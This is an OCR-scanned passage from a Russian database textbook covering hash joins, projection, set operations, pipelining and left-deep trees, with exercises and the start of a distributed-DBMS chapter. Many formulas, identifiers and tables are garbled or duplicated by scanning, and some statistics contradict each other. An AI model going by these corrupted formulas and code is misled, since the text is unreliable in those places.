отношений R и S должен иметь одни и те же значения соединяемых атрибутов, хотя он может содержать больше одного их значения. Алгоритм предусматривает проверку эквивалентных разделов на наличие одного и того же значения. Например, если отношение R с помощью некоторой функции перемешивания h() будет разбито на разделы RIr R2, ..., Rm, а отношение S — на разделы Sj, S2, ..., Sm, то, если В и С являются атрибутами отношения R и S соответственно и h(R.B)^h(S.C), то R.B^S.C. Однако, если h(R.B)=h(S.C), то это не обязательно означает, что R.B=S.C, поскольку одно и то же значение функции перемешивания может быть получено для различных исходных значений. В общем виде алгоритм слияния перемешиванием представлен в листинге 18.7. Стоимость операции соединения по методу перемешивания может быть вычислена по следующей формуле:
3(nblocks(R) + nblocks(S)) + 2*max_partitions
Первый терм этого выражения учитывает необходимость считывания отношений R и S при их разбиении, записи каждого из полученных разделов на диск и повторного считывания каждого из разделов отношений R и S при отыскании соответствующих кортежей. Последний терм формулы позволяет учесть тот факт, что некоторые разделы могут оказаться заполненными не полностью.
Листинг 18.7. Алгоритм соединения посредством перемешивания
//
Н Соединение посредством перемешивания
// Для упрощения операции чтения данных опущены.
//
И Начинаем с разбиения отношений R и S.
for i = 1 to ntuples(R) {
hash_value = hash_function(R.tuple[i].A);
добавление кортежа R.tuple[1].А в раздел отношения R, соответствующий значению перемешивания hash_value>;
}
for j = 1 to ntuples(S) {
hash_value = hash_function(S.tuple[j].A);
добавление кортежа S.tuple[j].А в раздел отношения S, соответствующий значению перемешивания hash value>;
}'
// Теперь выполняется фаза проверок (поиска соответствий)
for ihash = 1 to max_partitions{
<чтение раздела отношения R, соответствующего значению перемешивания ihash>;
RP = Rpartition(ihash];'
for i = 1 to max_tuples_in_R_partition(RP) {
// Построение в памяти индекса перемешивания с использованием функции
// hash_function2(}, отличной от функции hash_function()
newjiash = hash_function2(RP.tuple[i].aJ;
вставка значения newjiash в индекс перемешивания, размещенный в памяти>;
}
// Сканирование разделов отношения S с целью поиска соответствующих ,
// кортежей отношения R,
SP = Spartition[ihash];
for j = 1 to max_tuples_in_S_partition(SP) {
чтение отношения S и проверка таблицы перемешивания
с использованием функции hash_function2(SP.tuple[j].А>);
помещение всех соответствующих кортежей в выходную таблицу>;
}
<очистка таблицы перемешивания и подготовка к .обработке следующего раздела>;
}
Приведенная оценка является приблизительной и не принимает в расчет возможного переполнения разделов. Кроме того, предполагается, что индекс перемешивания может быть полностью размещен в памяти. Если это окажется не так, разбиение отношений на разделы окажется невозможно выполнить за один проход и потребуется применить некоторый рекурсивный алгоритм их разбиения. В этом случае оценка стоимости операции соединения должна выполняться по такой формуле:
2 (nblocks (R) +nblocks (S)) * [ lognbuffer-1 (nblocks (S)) -1 ] +nblocks (R) +nblocks (S)
Более полное обсуждение особенностей алгоритма соединения посредством перемешивания заинтересованный читатель сможет найти в работах Валдуриза и Гар- диана (Valduriez and Gardarin, 1984), Де Витта (DeWitt et al., 1984; DeWitt and Gerber, 1985) и др. Дополнительные материалы, включая описание алгоритма гибридного соединения посредством перемешивания, можно найти в работах Шапиро (Shapiro, 1986) Дэвисона и Грифа (Davison and Graefe, 1994), в работе последних описывается методика соединения посредством перемешивания, позволяющая настраиваться на использование доступного объема оперативной памяти.
Пример 18.5. Оценка стоимости операции соединения .
В данном примере приняты некоторые допущения.
। • Существуют отдельные, свободные от переполнения индексы перемешивания \ по первичным ключам таблиц Staff (атрибут Sno) и Branch (атрибут Впо).
; • Буфер базы данных позволяет разместить 100 дисковых блоков.
i • В системном каталоге содержаться следующие статистические данные:
ntuples(Staff)= 6 000
bfactor(Staff) ntuples(Branch) bfactor(Branch)bfactor(Staff) ntuples(Branch) bfactor(Branch)= 500= 500nblocks(Staff)nblocks(Staff)nblocks(Branch)nblocks(Branch)- 200- 200ntuples (Property^ orient) bfactor(Property_for_Rent)ntuples (Property^ orient) bfactor(Property_for_Rent)100 000100 000nblocks(Property^orjlent)nblocks(Property^orjlent)2 0002 000
bfactor(Staff) ntuples(Branch) bfactor(Branch)
bfactor(Staff) ntuples(Branch) bfactor(Branch)
= 500
= 500
nblocks(Staff)
nblocks(Staff)
nblocks(Branch)
nblocks(Branch)
- 200
- 200
ntuples (Property^ orient) bfactor(Property_for_Rent)
ntuples (Property^ orient) bfactor(Property_for_Rent)
100 000
100 000
nblocks(Property^orjlent)
nblocks(Property^orjlent)
2 000
2 000
I В табл. 18.3 приведены сравнительные оценки времени выполнения следующих = \ двух операций соединения, осуществляемых с использованием каждой из четырех | обсуждавшихся выше стратегий:.
I Л: Staff Xi sno Property_for_Rent;
* J2: Branch x bno Property^orienti
। В обоих случаях нам известно, что кардинальность результирующей таблицы 5 ; не может превосходить кардинальности первого отношения, поскольку соеди- . нение выполняется по его первичному ключу. Отметим, что ни одна из четы- i рех стратегий не является оптимальной одновременно для обеих операций со; единения. Для первого соединения оптимальной является стратегия соедине- ’ ния методом сортировки-слияния, если оба отношения являются уже ; отсортированными требуемым образом. Для второго соединения оптимальным < вариантом является стратегия индексированного соединения блоками с ис
. пользованием вложенных циклов.
; Таблица 18.3. Оценки стоимости операций ввода/вывода для примера 18.5
Стратегии
ЛJ2Пояснения
Соединение блоками с использованием вложенных циклов
400 20020 010В буфер вмещает только один блок
отношений R и S
4 282n/A1nbuffer - 2 блока для отношения R
N/A22 010Все блоки отношения R находятся в
буфере
Индексированное соединение блоками с использованием вложенных циклов Соединение посредством сортировки-слияния
6 200510Ключи перемешаны
25 80024 240Отношения не отсортированы
2 2002 010Отношения отсортированы ,
Соединение посредством перемешивания
б 6006 030Таблица перемешивания находится в
памяти, все разделы заполнены (maxjpartitions * 0)'
1 Все блоки отношения R могут быть считаны в буфер.
2 Все блоки отношения R не могут быть считаны в буфер.
Операция проекции (S = Па аат(Ю)
Операция проекции также является унарной операцией, в результате выполнении которой создается отношение S, содержащее вертикальное подмножество отношения R, включающее значения указанных атрибутов с исключением дублирующихся кортежей. Таким образом, для реализации операции проекции необходимо выполнить следующую последовательность действий.
Удаление из отношения ненужных атрибутов.
Исключение из результирующей таблицы любых дублирующихся кортежей, появившихся в результате выполнения предыдущего этапа.
Второй этап выполнить сложнее, чем первый, хотя он имеет место только в том случае, если результирующая таблица не содержит ключевого атрибута исходного отношения. Для исключения дублей используются два основных подхода: сортировка и перемешивание. Прежде чем приступать к их рассмотрению, следует оценить кардинальность результирующего отношения операции проекции.
Оценка кардинальности операции проекции
Если создаваемая проекция содержит ключевой атрибут, то этап удаления дублирующихся кортежей не потребуется, а кардинальность результирующей таблицы операции проекции будет равна:
ntuples(S) = ntuples(R)
Если проекция состоит из единственного неключевого атрибута (S = Пд(К))» то кардинальность результирующей таблицы может быть оценена по формуле: ntuples(S) = SCa(R)
В противном случае, если предположить, что отношение является декартовым произведением значений всех его атрибутов (что, вообще говоря, мало вероятно), кардинальность результирующей таблицы операции проекции можно будет вычислить по такой формуле:
м
ntuples(S) < min(ntuples(R) PJ(ndistinct ax(R)) '
Вариант 1. Исключение дублей с помощью сортировки
Суть данного подхода состоит в сортировке кортежей сокращенного варианта отношения с использованием всех оставшихся атрибутов как ключа сортировки. Это приведет к переупорядочиванию кортежей таким образом, что дублирующиеся кортежи окажутся рядом и смогут быть легко удалены. Для отбрасывания ненужных атрибутов потребуется считать все кортежи отношения R и скопировать все требуемые атрибуты во временное отношение. Стоимость этой операции составит nblocks(R). Оценка стоимости операции сортировки может быть вычислена по формуле nblocks(R)*(log2(nblocks(R)], поэтому общая стоимость первого этапа выполнения операции проекции составит:
nblocks(R) + nblocks(R)*[log2(nblocks(R)]
В общем виде алгоритм выполнения операции проекции с помощью сортировки представлен в листинге 18.8.
; Листинг 18.8. Алгоритм выполнения операции проекции с помощью сортировки
//
// Выполнение проекции с помощью сортировки
// Предполагается выполнение проекции отношения R по атрибутам alf а2, ..., а„.
// Возвращается результирующее отношение S.
//
// Прежде всего удаляются ненужные атрибуты.
for iblock = 1 to nblocks(R) {
block = read block(R, iblock);
for i = 1 to~ntuples(block) {
copy block.tuple[i].al, block.tuple[i].a2, ; block.tuple[i].am, to output T
}
}
И Теперь сортируем отношение Т, если это необходимо.
if {al, а2, •, am} <содержит ключевой атрибут> then
S = Т;
else {
sort(T);
// Наконец, выполняется удаление дублей.
=1; j = 2;
while (i <= ntuples(T)) { output T[i] to S;
// Пропуск всех дублей данного кортежа, если таковые имеются.
while (T[i] = Т[j]) {
j = j + i;
}
= j; j = i + 1;
}
}
Вариант 2. Удаление дублей с помощью перемешивания
Подход с использованием перемешивания может оказаться полезным в тех случаях, когда доступное количество буферов дисковых блоков по отношению к общему количеству блоков отношения R велико. Перемешивание выполняется в два этапа: вначале происходит разбиение на разделы, а затем — исключение дубликатов. На этапе разбиения один буферный блок выделяется для чтения исходного отношения R, а оставшиеся (nbuffer-1) блоки — для размещения выходных данных. Из каждого
кортежа отношения R удаляются все ненужные атрибуты, после чего для комбинации оставшихся атрибутов вычисляется значение функции перемешивания h() и укороченный кортеж записывается в буфер в соответствии с вычисленным значением. Функция перемешивания h() выбирается таким образом, чтобы по ее значению все кортежи равномерно распределялись по (nbuffer-1) разделам. Два кортежа, принадлежащие разным разделам, гарантированно не будут являться дубликатами, поскольку вычисленные для них значения функции перемешивания оказались различными. В результате область поиска дублей сужается до размера отдельных разделов. На втором этапе выполняются следующие действия:
поочередное считывание содержимого каждого из созданных (nbuffer-1) разделов;
применение к каждому считанному кортежу функции перемешивания h2()t отличной от первой;
вставка кортежа и вычисленного для него значения перемешивания в таблицу, размещенную в оперативной памяти;
если значение функции перемешивания для некоторого кортежа оказалось таким же, как и для одного из предыдущих кортежей, выполняется проверка, являются ли эти кортежи дублями;
после обработки всего раздела все его кортежи из таблицы в оперативной памяти выводятся в результирующий файл.
Если количество блоков, необходимых для размещения временной таблицы, содержащей результаты выполнения операции проекции для отношения R до удаления дублей, принять равным nb, то стоимость операции удаления дублей можно будет вычислить по формуле:
nblocks(R) + nb
В этой формуле не учитываются операции записи выходного набора данных, а также предполагается, что при перемешивании не происходит переполнения разделов. Разработку алгоритма предложенной выше методики мы предложим читателям в качестве одного из упражнений.
Операции реляционной алгебры над множествами
Бинарные операции над множествами, к которым относятся объединение (RuS), пересечение (RnS) и разность множеств (R-S), применимы только к тем отношениям, которые являются совместимыми по объединению (т.е. имеют идентичные структуры). Все эти операции могут быть реализованы посредством предварительной сортировки исходных отношения по одним и тем же атрибутам, с последующим сканированием отсортированных данных с целью получения желаемого результата. В случае объединения в результирующую таблицу помещаются любые кортежи, присутствующие в каждом из исходных отношений, но с удалением дублей. В случае пересечения в результирующую таблицу помещаются только те кортежи, которые присутствуют в обоих отношениях. В случае разности множеств анализируется каждый кортеж отношения R, причем он выводится в результирующий набор только в том случае, если для него нет аналога в отношении S. Для любой из этих операций может быть разработан алгоритм, построенный на принципах сортировки-слияния. Формула вычисления стоимости каждой из этих операций достаточно проста:
nblocks (R) +nblocks (S) +nblocks (R) * [ log2 (nblocks (R) ] +
nblocks(S)*[log2(nblocks(S)]
Кроме того, для реализации этих операций над множествами можно применять и алгоритм перемешивания. Например, объединение может выполняться с помощью построения в памяти индекса перемешивания для отношения R, с последующим добавлением в этот индекс только тех кортежей отношения S, которые в нем отсутствуют. По завершении этого процесса все кортежи из индекса перемешивания выводятся в результирующий набор данных.
Определение кардинальности операций над множествами
Поскольку при выполнении операции объединения исключаются дублирующиеся значения, в общем случае достаточно сложно точно определить кардинальность ее результирующего набора, однако можно указать верхний и нижний ее пределы:
max(ntuples(R), ntuples(S)) < ntuples(T) < ntuples(R) + ntuples(S)
В случае операции разности множеств верхний и нижний предел может быть установлен с использованием следующей формулы:
О < ntuples(T) < ntuples(R)
Обобщающие операции
Рассмотрим следующий SQL-запрос, с помощью которого определяется средняя зарплата персонала компании:
SELECT avg(salary)
FROM staff;
В этом запросе используется обобщающая функция AVG (вычисление среднего значения). Для реализации подобного запроса потребуется отсканировать все отношение Staff с подсчетом количества находящихся в нем кортежей и суммированием значения атрибута Salary. По завершении сканирования на основании двух вычисленных сумм определяется требуемое значение.
Теперь рассмотрим другой SQL-запрос, с помощью которого определяется среднее значение зарплаты работников каждого из отделений компании.
SELECT avg(salary)
FROM staff■
GROUP BY bno;
В этом запросе также применяется обобщающая функция AVG, однако на этот раз по отношению к записям, определяемым заданным условием группирования. Для обработки группирующих запросов может использоваться алгоритм сортировки или перемешивания — аналогично тому, как это делалось при организации удаления дублей. В случае группирующих запросов формула оценки кардинальность результирующей таблицы может быть выведена из формул, предложенных для операции выборки. Решить эту задачу мы предлагаем (в качестве упражнения) читателям.
18.5. Конвейерная обработка
В этом разделе мы обсудим еще один (дополнительный) подход, который в некоторых случаях используется для повышения эффективности запросов, а именно — конвейерную обработку (иногда называемую немедленной обработкой). До этого момента в нашем обсуждении предполагалось, что результаты всех промежуточных операций реляционной алгебры временно записываются на диск. Этот подход носит название овеществления — результаты одной операции до начала следующей операции сохраняются во временных отношениях. Альтернативный подход состоит в конвейерной передаче результатов одной операции на обработку другой операции, без создания временных отношений, предназначенных для хранения промежуточных ре-
зультатов. Очевидно, что при использовании конвейерного механизма исключаются затраты на создание временных отношений и повторное их считывание.
Вернемся к примеру из раздела 18.4.2, в котором обсуждались методы реализации операций выборки с составными предикатами:
^position*‘Manager* л salary>20000 (Staff )
Если предположить, что для атрибута Salary существует индекс, то можно использовать правило каскадной выборки для преобразования этой операции в две операции с простыми предикатами:
^position* 'Manager' (^salary>20000 (Staff)) •
Теперь имеющийся индекс можно использовать для эффективной обработки первой операции выборки по значению атрибута Salary; полученный результат нужно поместить во временное отношение, после чего выполнить вторую операцию выборки, но уже по отношению ко временному отношению с промежуточными результатами. Механизм конвейерной обработки исключает создание временного отношения и предполагает применение второй операции выборки к каждому отдельному кортежу, получаемому в результате выполнения первой операции. Кортежи, удовлетворяющие предикату второй операции выборки, будут записываться непосредственно в результирующий набор данных.
В общем случае механизм конвейерной обработки реализуется с помощью группы отдельных процессов или потоков, выполняемых в рамках вычислительной среды СУБД. Каждый процесс механизма конвейерной обработки получает на входе последовательность кортежей в виде входного потока данных и создает другую последовательность кортежей, представляющую его выходной поток. Для каждой пары соседних операций создается отдельный буфер, предназначенный для размещения кортежей, передаваемых из первой операции во вторую. Один из основных недостатков метода конвейерной обработки заключается в том, что входные данные не могут быть доступны операциям одновременно во всем объеме. Это ограничивает возможности выбора алгоритмов обработки. Например, если при реализации операции соединения передаваемые конвейерным способом кортежи будут не отсортированы по соединяемым атрибутам, то это не позволит применить стандартный алгоритм соединения методом сортировки- слияния. Тем не менее существует множество других возможностей применения механизма конвейерной обработки при реализации различных стратегий.
Линейные деревья
Все деревья реляционной алгебры, которые создавались нами в предыдущих разделах, имели форму, показанную на рис. 18.5, а. Этот тип деревьев реляционной алгебры носит название левосторонних деревьев (деревьев соединения). Принятое название указывает, как операции будут комбинироваться при выполнении запроса. В частности, слово “левостороннее” означает, что только в левой части операций соединения может присутствовать элемент, являющийся результатом выполнения предыдущей операции соединения. С точки зрения алгоритма соединения, левый дочерний узел является внешним отношением, а правый дочерний узел — внутренним отношением. Прочие возможные типы деревьев показаны на рис. 18.5, б (правостороннее дерево), на рис. 18.5, в (смешанное дерево) и на рис. 18.5, г (куст) (Graefe and DeWitt, 1987). Куст иначе называют нелинейным деревом (все остальные представленные на рисунке типы деревьев являются линейными).
В линейных деревьях отношение хотя бы с одной из сторон каждой операции всегда является базовым. Однако, поскольку для каждого из кортежей внешнего отношения требуется анализировать все кортежи внутреннего отношения, последнее всегда должно быть овеществленным. Это требование вынуждает использовать левосторонние деревья обработки запросов, в которых внутренние отношения всегда будут представлены базовыми таблицами (которые по определению являются овеществленными).
X
Рис. 18.5. Варианты деревьев реляционной алгебры: а) левостороннее дерево; б) правостороннее дерево; в) сметанное линейное дерево; г) нелинейное дерево (куст)
Работа с левосторонними деревьями дает некоторые преимущества — при сокращении анализируемого пространства вариантов в процессе выбора оптимальной стратегии для оптимизатора запросов стало возможным использовать методы динамической обработки. Основной недостаток этого метода состоит в том, что из-за сокращения анализируемого пространства вариантов многие возможные стратегии не рассматриваются, хотя стоимость некоторых из них может быть ниже, чем стоимость тех, которые будут выбраны при обработке линейных деревьев. В частности, при выборе оптимальной стратегии в широко известной исследовательской СУБД System R анализировались только левосторонние деревья (Selinger et al., 1979). Использование левосторонних деревьев позволяет генерировать полностью конвейерные стратегии, т.е. такие стратегии, в которых все операции соединения выполняются по методу конвейерной обработки.
Резюме
Целью процедуры выполнения запроса является преобразование запроса, представленного на языке высокого уровня (как правило, на языке SQL), в корректную и эффективную стратегию его выполнения, представленную на языке низкого уровня (подобном реляционной алгебре), с последующим ее выполнением для выборки затребованных данных.
Для одного и того же запроса, представленного на языке высокого уровня, существует множество эквивалентных преобразований. В обязанности СУБД входит выбор такого варианта представления запроса, который позволит минимизировать использование системных ресурсов. Эта задача носит название оптимизации запросов. Поскольку основная проблема заключается в сложности вычислительной обработки одновременно многих отношений, выбор стратегии обычно ограничивается поиском ближайшего оптимального решения.
Существует два основных метода оптимизации запросов, хотя на практике чаще всего используется некоторая их комбинация. Первый метод для упорядочивания выполняемых в запросе операций предусматривает применение эвристических правил. По второму методу сравнение показателей различных стратегий произво-
дится на основе их относительной стоимости, причем выбирается тот из вариантов, который позволяет минимизировать использование системных ресурсов.
Процесс обработки запросов может быть разделен на четыре основных этапа: декомпозиция (включает сканирование и верификацию запроса), оптимизация, генерация кода и выполнение. Первых три этапа могут выполняться либо во время компиляции запроса, либо во время его выполнения.
В процессе декомпозиции запроса его текст на языке высокого уровня преоб- ' разуется в запрос на языке реляционной алгебры, который затем проверяется синтаксически и семантически. Основными стадиями процесса декомпозиции являются: анализ, нормализация, семантический анализ, упрощение и реструктуризация запроса. Для внутреннего представления преобразуемого запроса обычно используется дерево реляционной алгебры.
В процессе оптимизации запроса правила преобразования применяются для преобразования одного выражения реляционной алгебры в другое, эквивалентное ему выражение, выполнение которого будет заведомо более эффективным. Правила преобразования включают правила каскадной выборки, коммутативности унарных операций, коммутативности тета-соединений (и декартового произведения), коммутативности унарных операций и тета-соединений (и декартового произведения), а также ассоциативности тета-соединений (и декартового произведения).
Эвристические правила включают рекомендации выполнения операций выборки и проекции на самых ранних этапах; комбинирования декартового произведения с последующей операцией выборки, предикат которой представляет собой условие соединения, с преобразованием в операцию соединения; использование свойства ассоциативности бинарных операций для переупорядочива- ния листовых узлов таким образом, чтобы листовые узлы с наиболее ограничивающими операциями выборки выполнялись первыми.
Оценка стоимости операции выполняется на основе статистической информации, сохраняемой в системном каталоге. Типичный набор статистических показателей включает: кардинальность каждого из базовых отношений; количество блоков, используемых для хранения отношения; количество уникальных значений для каждого из атрибутов; кардинальность выборки по каждому атрибуту; число уровней для каждого из многоуровневых индексов.
Основными стратегиями реализации операций выборки являются: линейный поиск (файл не отсортирован, индекс отсутствует), двоичный поиск (упорядоченный файл, индекс отсутствует), поиск по равенству ключу перемешивания, поиск по равенству первичному ключу, поиск по неравенству первичному ключу, поиск по равенству значению кластерного (вторичного) индекса, поиск по равенству значения некластерного (вторичного) индекса и поиск по неравенству значению вторичного индекса типа В+-Тгее.
Основными стратегиями реализации операций соединения являются: соединение блоками с использованием вложенных циклов, индексированное соединение блоками с использованием вложенных циклов, соединение посредством сортировки-слияния и соединение посредством перемешивания.
При использования технологии овеществления результаты выполнения одной операции, прежде чем они станут доступными следующей операции, помещаются во временное отношение на жестком диске. Альтернативный подход носит название конвейерной обработки и предусматривает передачу результатов выполнения первой операции во вторую, без использования временного отношения, предназначенного для хранения промежуточных результатов. Это позволяет исключить затраты, необходимые для создания временных отношений и повторного считывания помещенных в них промежуточных результатов.
Левосторонними деревьями называют такие деревья реляционной алгебры, в которых правое отношение каждой операции соединения всегда является базовой таблицей. Использование левосторонних деревьев дает некоторые преиму-
щества — при сокращении анализируемого пространства вариантов в процессе выбора оптимальной стратегии для оптимизатора запросов стало возможным использовать методы динамической обработки. Основной недостаток этого метода состоит в том, что из-за сокращения анализируемого пространства вариантов многие возможные стратегии не рассматриваются, хотя стоимость некоторых из них может быть ниже, чем стоимость тех, которые будут выбраны при обработке линейных деревьев.
Вопросы
В чем состоит назначение процедуры обработки запросов?
Чем отличается обработка запросов в реляционных системах от обработки запросов на низкоуровневых языках запросов, поддерживаемых сетевыми и иерархическими системами?
Назовите основные этапы процесса обработки запроса.
Назовите основные стадии этапа декомпозиции запроса.
В чем заключается различие между конъюнктивной и дизъюнктивной нормальными формами?
Как можно проверить семантическую корректность запроса?
Назовите правила преобразования запросов, которые могут применяться в следующих случаях:
дляопераций выборки;
дляопераций проекции;
дляопераций тета-соединения.
Назовитеэвристические правила, которые могут применяться для повышения
производительности обработки запросов.
Какие типы статистических сведений должна сохранять СУБД в системном каталоге, чтобы иметь возможность оценивать стоимость операций реляционной алгебры?
При каких обстоятельствах система будет вынуждена для выполнения операции выборки прибегнуть к стратегии линейного поиска?
Какие основные типы стратегий реализации операций соединения вам известны?
В чем заключается основное различие между методами овеществления и конвейерной обработки?
Поясните различия между линейными и нелинейными деревьями реляционной алгебры. Приведите примеры, иллюстрирующие ваш ответ.
Назовите преимущества и недостатки использования левосторонних деревьев.
Упражнения
Определите стоимость каждой из трех стратегий, рассматривавшихся в примере 18.1, приняв, что в отношении Staff содержится 10 000 кортежей, в отношении Branch — 500 кортежей, в компании работает 500 менеджеров (по одному на каждое из отделений компании), а в Лондоне имеется 10 отделений компании.
Используя схему приложения Hotel, приведенную в разделе “Упражнения” главы 13, определите, являются ли следующие запросы семантически корректными:
SELECT r.type, r.price
FROM room r, hotel h
WHERE r.hotel_number = h.hotel_number AND h.hotel_name = 'Grosvenor Hotel' AND r.type > 100; "
SELECT g.guest_no, g.name
FROM hotel h, booking b, guest g
WHERE h.hotel_no = b.hotel_no
AND h.hotel_name = 'Grosvenor Hotel';
SELECT r.room_no, h.hotel_no
FROM hotel h, booking b, room r
WHERE h.hotel_no = b.hotel_no AND h.hotel_no = 'H21' AND b.room_no = r.room_no AND type = 'S' AND b.hoteljio = 'H22';
Вновь обратимся к схеме приложения Hotel из раздела “Упражнения” главы 13. Опираясь на предоставленные в ней данные, нарисуйте деревья реляционной алгебры для каждого из приведенных ниже запросов, после чего воспользуйтесь приведенными в разделе 18.3.2 эвристическими правилами и преобразуйте эти запросы в более эффективную форму:
SELECT r.rno, r.type, г.price
FROM room r, booking b, hotel h
WHERE r.room_no - b.room_no AND b.hotel_no = h.hotel jio AND h.name = 'Grosvenor Hotel' AND r.price > 100?
SELECT g.guest_no, g.name
FROM room r, hotel h, booking b, guest g
WHERE h.hotel_no = b.hoteljio AND g.guest_no = b.guestjio
AND h.hotel no = r.hotel^no AND h.name = 'Grosvenor Hotel' AND date_from >= 'l-Jan-98' AND date_to <= '31-Dec-98';
Поясните каждый сделанный вами шаг и сформулируйте все правила преобразования, использованные в этом процессе.
Сделаем в отношении схемы базы данных приложения Hotel, следующие предположения:
для первичного ключа Room_No/Hotel_No отношения Room имеется индекс перемешивания, свободный от переполнений;
для отношения Room существует кластерный индекс по атрибуту Hotel_No, являющемуся внешним ключом этого отношения;
по атрибуту Price отношения Room создан индекс типа В+-Тгее;
отношение Room имеет вторичный индекс по атрибуту Туре;
• в каталоге СУБД хранятся следующие статистические данные:
ntuples(Room)
10 000
bfactor(Room)
^200
ntuples(Hotel)
—
50
bfactor(Hotel)
=40
ntuples(Booking)
=
100 000
bfactor(Booking)
-60
ndistincthotel no(Room)
50
ndistincttype(Room)
=
10
nd i s tine tprice (Room)
=
500
minprice(Room)
—
200
maxprice(Room)
=50
nlevelshotel not I)
=
2
nlevelsprice(I)
=
2
nlfblocksprice(I)
=50
А. Вычислите ожидаемую кардинальность и минимальную стоимость каждой из следующих операций выборки:
S1:
^room_no«l a hotel_no=l(Room);
S2:
otype=<D,(Room);
S3:
S4:
^hotel_no=2 (Room);
^price>10o(R°om) >
S5;
S6:
O4ype='s' a hotei_no=3(Room);
^уре='5г v price < 10o(R°Om).
Б. Вычислите ожидаемую кардинальность и минимальную стоимость каждой из следующих операций соединения:
JI:
Hotel x hotel no Room;
J2:
Hotel x hotel no Booking;
J3:
Room ▻< room no Booking;
J4:
Room x hotel no Hotel
J5:
Booking X hotel no Hotel;
J6:
Booking x room no Room.
В. Вычислите ожидаемую кардинальность и минимальную стоимость каждой из следующих операций проекции:
Pl:
rihotelno (Hotel);
P2:
nhoteLno(Room);
P3:
Пргхсе (Room)»
P4:
Г^уре (ROO1U) >
P5:
rihotelno, price (Room).
Модифицируйте представленные в разделе 18.4.3 алгоритмы соединения блоками с использованием вложенных циклов и индексированного соединения блоками с использованием вложенных циклов с целью организации считывания при каждом обращении вместо одного, сразу (nbuffer-2) блоков внешнего отношения R.
Новые направления
Глава 19. Концепции и разработка распределенных СУБД686
Глава 20. Распределенные СУБД — дополнительные концепции 729
Глава 21. Введение в объектные СУБД770
Глава 22. Объектно-ориентированные СУБД794
Глава 23. Объектно-реляционные СУБД847
Появление вычислительных систем с базами данных привело к изменению прежней парадигмы обработки данных, в которой для каждого приложения определялись и поддерживались собственные наборы данных, на новую, в которой все данные определялись и поддерживались централизованно. Технология распределенных баз данных, получившая в настоящее время широкое распространение, способствует обратному переходу от централизованной обработки данных к децентрализованной. Создание технологии систем управления распределенными базами данных является одним самых больших достижений в области баз данных. В предыдущих главах обсуждение было сосредоточено на системах с централизованными базами данных, т.е. на таких системах, в которых единственная логическая база данных размещалась в пределах одного сайта и управлялась единственной системой управления. В этой главе мы обсудим концепции и различные вопросы, связанные с распределенными СУБД, позволяющимй конечным пользователям иметь доступ не только к данным, сохраняемым на их собственном сайте, но и к данным, размещенным на различных удаленных сайтах. В прессе уже неоднократно делались заявления о том, что в связи с нарастающим процессом перехода организаций к технологии распределенных баз данных централизованные базы данных буквально через несколько лет превратятся в антикварную редкость.
Структура этой главы
В данной главе мы обсудим основные принципы технологии распределенных СУБД. В разделе 19.1 будут представлены основные концепции технологии распределенных СУБД и показаны отличия, существующие между распределенными СУБД, распределенной обработкой и параллельными СУБД. В разделе 19.2 дается беглый обзор основных принципов построения и работы компьютерных сетей, знание которых потребуется при обсуждении последующего материала. В разделе 19.3 речь пойдет о новых функциональных возможностях, которые должны предоставляться типичной распределенной СУБД. Кроме того, мы познакомимся с возможными и рекомендуемыми вариантами архитектуры распределенных СУБД, представленными как расширение архитектуры ANCI-SPARC, речь о которой шла в главе 2, “Среда базы данных”. В разделе 19.4 обсуждаются расширения методологии проектирования баз данных, описанной в части II этой книги, позволяющие учесть особенности работы с распределенными данными. В разделе 19.5 рассматриваются проблемы обеспечения прозрачности среды распределенных баз данных, которая должна гарантироваться любой реальной СУРБД, а в разделе 19.6 представлены сформулированные Дейтом двенадцать правил, которым должна отвечать любая СУРБД. Как и прежде, все приводимые в этой главе примеры построены на базе учебного проекта DreamHome, описанного в разделе 1.7.
Введение
Основной причиной разработки систем, использующих базы данных, является стремление интегрировать все обрабатываемые в организации данные в единое целое и обеспечить к ним контролируемый доступ. Хотя интеграция и предоставление контролируемого доступа могут способствовать централизации, последняя не является самоцелью. На практике создание компьютерных сетей приводит к децентрализации обработки данных. Децентрализованный подход, по сути, отражает организационную структуру компании, логически состоящую из отдельных подразделений, отделов, проектных групп и тому подобного, которые физически распределены по разным офисам, отделениям, предприятиям или филиалам, причем каждая отдельная единица имеет дело с собственным набором обрабатываемых данных (Date, 1995). Разработка распределенных баз данных, отражающих организационные структуры предприятий, позволяет сделать данные, поддерживаемые каждым из существующих подразделений, общедоступными, обеспечив при этом их сохранение именно в тех местах, где они чаще всего используются. Подобный подход расширяет возможности совместного использования информации, одновременно повышая эффективность доступа к ней.
Распределенные системы призваны разрешить проблему островов информации. Базы данных иногда рассматривают как некие электронные острова, представляющие собой отдельные и, в общем случае, труднодоступные места, подобные удаленным друг от друга островам. Данное положение может являться следствием географической разобщенности, несовместимости используемой компьютерной архитектуры, несовместимости используемых коммутационных протоколов и т.д. Интеграция отдельных баз данных в одно логическое целое способна изменить подобное положение дел.
Основные концепции
Чтобы начать обсуждение связанных с распределенными СУБД проблем, прежде всего необходимо уяснить, что же такое распределенная база данных.
Распределенная база данных
Набор логически связанных между собой разделяемых данных (и их описаний), которые физически распределены в некоторой компьютерной сети.
Из этого вытекает следующее определение.
Распределенная
Программный
комплекс, предназначенный для управления
СУБД
распределенными базами данных и позволяющий сделать распределенность информации прозрачной для конечного пользователя.
Система управления распределенными базами данных (СУРБД) состоит из единой логической базы данных, разделенной на некоторое количество фрагментов. Каждый фрагмент базы данных сохраняется на одном или нескольких компьютерах, которые соединены между собой линиями связи и каждый из которых работает под управлением отдельной СУБД. Любой из сайтов способен независимо обрабатывать запросы пользователей, требующие доступа к локально сохраняемым данным (что создает определенную степень локальной автономии), а также способен обрабатывать данные, сохраняемые на других компьютерах сети.
Пользователи взаимодействуют с распределенной базой данных через приложения. Приложения могут быть классифицированы как те, которые не требуют доступа к данным на других сайтах (локальные приложения), и те, которые требуют подобного доступа (глобальные приложения). В распределенной СУБД должно существовать хотя бы одно глобальное приложение, поэтому любая СУРБД должна иметь следующие особенности.
Набор логически связанных разделяемых данных.
Сохраняемые данные разбиты на некоторое количество фрагментов.
Между фрагментами может быть организована репликация данных.
Фрагменты и их реплики распределены по различным сайтам.
Сайты связаны между собой сетевыми соединениями.
Работа с данными на каждом сайте управляется СУБД.
СУБД на каждом сайте способна поддерживать автономную работу локальных приложений.
СУБД каждого сайта поддерживает хотя бы одно глобальное приложение.
Нет необходимости в том, чтобы на каждом из сайтов системы существовала своя собственная локальная база данных, что и показано на примере топологии СУРБД, представленной на рис. 19.1.
Сайт 4Сайт 4База данныхБаза данныхРис. 19.1. Топология системы управленияРис. 19.1. Топология системы управленияраспределенной базой данных
Сайт 4
Сайт 4
База данных
База данных
Рис. 19.1. Топология системы управления
